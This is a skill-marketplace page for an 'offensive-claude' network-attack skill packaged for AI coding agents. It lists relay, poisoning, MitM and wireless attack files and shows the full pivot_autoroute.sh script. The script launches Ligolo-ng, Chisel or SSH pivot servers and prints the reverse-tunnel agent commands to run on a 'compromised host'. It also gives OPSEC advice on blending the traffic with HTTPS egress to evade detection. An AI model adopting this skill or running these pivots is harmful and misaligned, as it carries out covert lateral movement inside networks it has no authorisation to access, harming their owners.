hypnguyen1209/offensive-claude / skills/network-attack
network-attack
VerifiedUse when attacking a network or moving laterally — L2/L3 poisoning (LLMNR/mDNS, ARP/DHCP, mitm6), coercion + NTLM relay (CVE-2025-33073), TUN pivoting (Ligolo-ng/Chisel), MitM, network-service RCE (CVE-2024-38077), WPA2/WPA3 wireless
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 10.5 KB |
| references/coercion-relay-network.md | markdown | 6.8 KB |
| references/l2-attacks.md | markdown | 10.0 KB |
| references/mitm-interception.md | markdown | 5.6 KB |
| references/pivoting-tunneling.md | markdown | 6.8 KB |
| references/protocol-rce.md | markdown | 7.0 KB |
| references/wireless-attacks.md | markdown | 8.9 KB |
| scripts/bettercap_mitm.sh | script | 2.4 KB |
| scripts/mitm6_relay_launcher.sh | script | 2.8 KB |
| scripts/net_service_scan.py | script | 5.0 KB |
| scripts/pivot_autoroute.sh | script | 3.1 KB |
| scripts/relay_target_finder.py | script | 4.2 KB |
| scripts/responder_loot_parser.py | script | 4.6 KB |
| scripts/vlan_hop.py | script | 5.1 KB |
| scripts/wifi_attack.sh | script | 4.6 KB |
scripts/pivot_autoroute.sh
View on GitHub#!/usr/bin/env bash
# pivot_autoroute.sh - One-shot Ligolo-ng proxy bootstrap + helper for Chisel and
# SSH dynamic pivots. Generates the agent command line for the target and (for
# Ligolo) prepares the TUN interface so 'autoroute' / route add just works.
#
# USAGE:
# ./pivot_autoroute.sh ligolo <listen_ip> [listen_port] # default 11601
# ./pivot_autoroute.sh chisel <listen_ip> [listen_port] # default 8080
# ./pivot_autoroute.sh ssh <pivot_user> <pivot_host> # SOCKS via -D 1080
#
# DEPENDENCIES (attacker side):
# ligolo-ng proxy binary in PATH (or ./proxy), chisel, ssh, iproute2 (ip), root.
#
# OPSEC: Ligolo agent needs NO admin on target and rides a single TLS connection
# (yamux-multiplexed) -> low socket count, blends with HTTPS egress if you use
# -tcp on 443. Chisel wraps SOCKS in HTTP for egress-restricted nets but is
# noisier (HTTP framing) and has no native multi-pivot session mgmt.
set -euo pipefail
MODE="${1:?mode required: ligolo|chisel|ssh}"
case "$MODE" in
ligolo)
LIP="${2:?listen_ip required}"; LPORT="${3:-11601}"
TUN="ligolo"
PROXY_BIN="$(command -v ligolo-proxy || echo ./proxy)"
# Create the TUN interface up-front so 'autoroute' (v0.5+) or manual
# 'ip route add <subnet> dev ligolo' attaches cleanly.
if ! ip link show "$TUN" >/dev/null 2>&1; then
sudo ip tuntap add user "$(whoami)" mode tun "$TUN"
sudo ip link set "$TUN" up
echo "[+] created TUN interface '$TUN' (add routes after agent connects:"
echo " sudo ip route add <internal_subnet> dev $TUN )"
fi
echo "[*] Starting Ligolo-ng proxy on ${LIP}:${LPORT} (self-signed cert)"
echo
echo " AGENT COMMAND (run on compromised host, no admin needed):"
echo " # Linux: ./agent -connect ${LIP}:${LPORT} -ignore-cert -retry"
echo " # Windows: agent.exe -connect ${LIP}:${LPORT} -ignore-cert -retry"
echo
echo " In the proxy console after the agent connects:"
echo " session # select the agent"
echo " autoroute # auto-detect subnets & create routes (v0.5+/v0.8 web UI)"
echo " start # start the tunnel"
echo
exec "$PROXY_BIN" -selfcert -laddr "0.0.0.0:${LPORT}"
;;
chisel)
LIP="${2:?listen_ip required}"; LPORT="${3:-8080}"
echo "[*] Starting Chisel reverse server on :${LPORT}"
echo
echo " CLIENT COMMAND (run on compromised host):"
echo " chisel client ${LIP}:${LPORT} R:1080:socks"
echo
echo " Then on attacker, add to /etc/proxychains4.conf:"
echo " socks5 127.0.0.1 1080"
echo " Usage: proxychains nmap -sT -Pn <internal_target>"
echo
exec chisel server --reverse -p "$LPORT"
;;
ssh)
USER="${2:?pivot_user required}"; HOST="${3:?pivot_host required}"
echo "[*] SSH dynamic SOCKS pivot via ${USER}@${HOST} on 127.0.0.1:1080"
echo " proxychains.conf -> socks5 127.0.0.1 1080"
echo " Double pivot: from the pivot, run another -D against the next hop."
exec ssh -N -D 127.0.0.1:1080 "${USER}@${HOST}"
;;
*)
echo "[!] unknown mode: $MODE (use ligolo|chisel|ssh)"; exit 1 ;;
esac
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |